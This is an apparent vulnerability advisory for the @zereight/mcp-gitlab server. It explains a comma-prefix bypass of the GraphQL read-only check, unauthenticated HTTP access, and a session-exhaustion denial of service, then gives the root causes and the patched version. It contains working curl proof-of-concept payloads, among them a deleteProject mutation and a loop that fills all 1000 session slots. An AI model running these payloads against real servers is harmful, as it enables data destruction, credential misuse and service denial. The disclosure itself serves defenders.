@zereight/mcp-gitlab: GraphQL Read-Only Bypass, Unauthenticated Transports, and Session-Exhaustion DoS
The most popular GitLab MCP server lets an LLM agent or any network client bypass the read-only guard, ignore project allow-lists, use GitLab credentials without authentication, and exhaust server…

The problem
The execute_graphql tool is registered as read-only, but its write-operation detector uses a regex that is defeated by a leading comma. GraphQL treats commas as insignificant whitespace, so,mutation{...} reaches the GitLab API as a write while the server classifies it as safe.
The handler also skips the project-scope checks used by every other tool, so GITLAB_ALLOWED_PROJECT_IDS is silently ignored.
Separately, the Streamable HTTP transport skips MCP-layer auth entirely when the server is started with a cookie file or device-flow OAuth, because the startup gate only checked for PAT or job tokens. Any caller that can reach the port can use the server's live GitLab session.
A third flaw lets garbage tokens (length 20+, valid charset) allocate real sessions without upstream verification, filling all 1000 slots in one burst and causing 503 errors for legitimate users.
Proof of concept
A working proof-of-concept for this issue in @zereight/mcp-gitlab, with the exact payload below.
# F1: GraphQL read-only + allow-list bypass
# Prefix a comma before 'mutation' to fool graphqlQueryContainsWriteOperation()
# The regex /(?:^|[};]\s*)(mutation|subscription)\b/ requires mutation at
# the start or after }{; a leading comma passes the check.
# GraphQL treats the comma as insignificant, so GitLab executes the write.
curl -s https://YOUR-MCP-HOST/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{
"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{
"name":"execute_graphql",
"arguments":{
"query":",mutation{deleteProject(input:{id:\"gid://gitlab/Project/1\"}){errors}}"
}
}
}'
# F2: Unauthenticated access when server uses cookie-path or OAuth creds
# Start server: STREAMABLE_HTTP=true GITLAB_AUTH_COOKIE_PATH=./cookies.txt node build/index.js
# Then from any unauthenticated shell:
curl -s http://127.0.0.1:3002/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0"}}}'
# F4: Session-exhaustion DoS (fills all 1000 slots, blocks legitimate users)
for i in $(seq 1 1000); do
curl -s -o /dev/null http://127.0.0.1:3002/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Private-Token: aaaaaaaaaaaaaaaaaaaaaaaa' \
-d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"x","version":"0"}}}';
done
# Next legitimate initialize returns 503: "Maximum 1000 concurrent sessions allowed"F1 root cause is in utils/graphql-query.ts: stripGraphQLCommentsAndStrings does not remove commas, so the detector regex misses,mutation{...} even though GraphQL parsers treat the comma as whitespace and execute it as a full mutation. The execute_graphql handler also never calls getEffectiveProjectId() or rejectIfProjectScopedDeployment(), unlike every other project-scoped tool, making GITLAB_ALLOWED_PROJECT_IDS a no-op for this path (CWE-863).
F2 exists because the startup auth gate (index.ts:1048-1052) only checked hasToken or hasJobToken. Cookie-path and OAuth modes were not included, so mcpBearerAuth degraded to a pass-through next() call, leaving buildAuthHeaders() attaching the live server credential to every incoming request.
F4 follows from validateToken performing only a length and charset check, with no upstream GitLab verification. Sessions are allocated purely on capacity (MAX_SESSIONS=1000), so any syntactically valid garbage token consumes a slot for the full SESSION_TIMEOUT_SECONDS (default 3600s).
The patch (commit 69e784d) adds a real GraphQL parser check for mutation/subscription operations, extends the startup gate to all credential modes, and validates tokens against GitLab before allocating a session.
The fix
Upgrade @zereight/mcp-gitlab to 2.1.30 or later (npm install @zereight/mcp-gitlab@latest). The patch was shipped on 5 July 2026 in commit 69e784da. After upgrading, rotate any PAT or session credential that was configured on a network-exposed instance, especially if cookie-path or OAuth mode was in use.
Related research
- critical · 9.6CVE-2026-61568CVE-2026-61568: @zereight/mcp-gitlab DNS Rebinding via Missing Host/Origin Validation
- critical · 9.6CVE-2026-61559CVE-2026-61559: @zereight/mcp-gitlab Server-Side Request Forgery via X-GitLab-API-URL Header
- high · 7.1CVE-2026-59965CVE-2026-59965: @jhb.software/payload-alt-text-plugin Authorization Bypass via overrideAccess Omission
- high · 8.6CVE-2026-55638CVE-2026-55638: 9router Unauthenticated LLM Proxy Access via /codex Rewrite Authorization Bypass